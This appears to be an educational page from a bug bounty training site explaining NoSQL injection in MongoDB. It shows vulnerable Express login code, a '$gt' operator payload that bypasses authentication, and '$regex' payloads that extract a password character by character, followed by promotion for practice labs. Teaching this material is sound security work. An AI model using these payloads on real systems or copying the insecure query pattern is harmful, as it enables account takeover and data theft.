NoSQL Injection

High

NoSQL Injection

Definition

NoSQL Injection is a vulnerability that lets an attacker interfere with the queries of NoSQL databases (such as MongoDB, CouchDB) by injecting malicious operators or expressions. Unlike SQL Injection, it abuses the structure of object/JSON-based queries and DBMS-specific operators.

Impact

Authentication bypass without credentialsExtracting database data character by characterModifying or deleting documentsDenial of service with expensive regular expressions (ReDoS)Access to unauthorized collections and data

Examples

NoSQL Injection authentication bypass in MongoDB

By sending a MongoDB operator ($gt, $ne, $regex) instead of a string, the password condition is always true. This lets you authenticate as any user without knowing their password.

// Vulnerable code (Express + MongoDB)
const user = await User.findOne({
  username: req.body.username,
  password: req.body.password
});

// Legitimate request
POST /api/login
{"username": "admin", "password": "secret123"}

// NoSQL injection payload
POST /api/login
{"username": "admin", "password": {"$gt": ""}}

// The resulting query:
// db.users.findOne({username: "admin", password: {$gt: ""}})
// $gt: "" is true for any string, full bypass

NoSQL Injection with $regex to extract data

Using the $regex operator, the attacker can check character by character whether the password starts with a given pattern, extracting the full password through a brute-force attack based on regular expressions.

// Password extraction character by character
POST /api/login
{"username": "admin", "password": {"$regex": "^a"}}  // fails
{"username": "admin", "password": {"$regex": "^s"}}  // success
{"username": "admin", "password": {"$regex": "^se"}} // success
{"username": "admin", "password": {"$regex": "^sec"}} // success
// ... until the full password is extracted

External references

Practice NoSQL Injection with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
2,482

hunters training

62

labs from real hacks

1,630

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy
Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real hacks that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime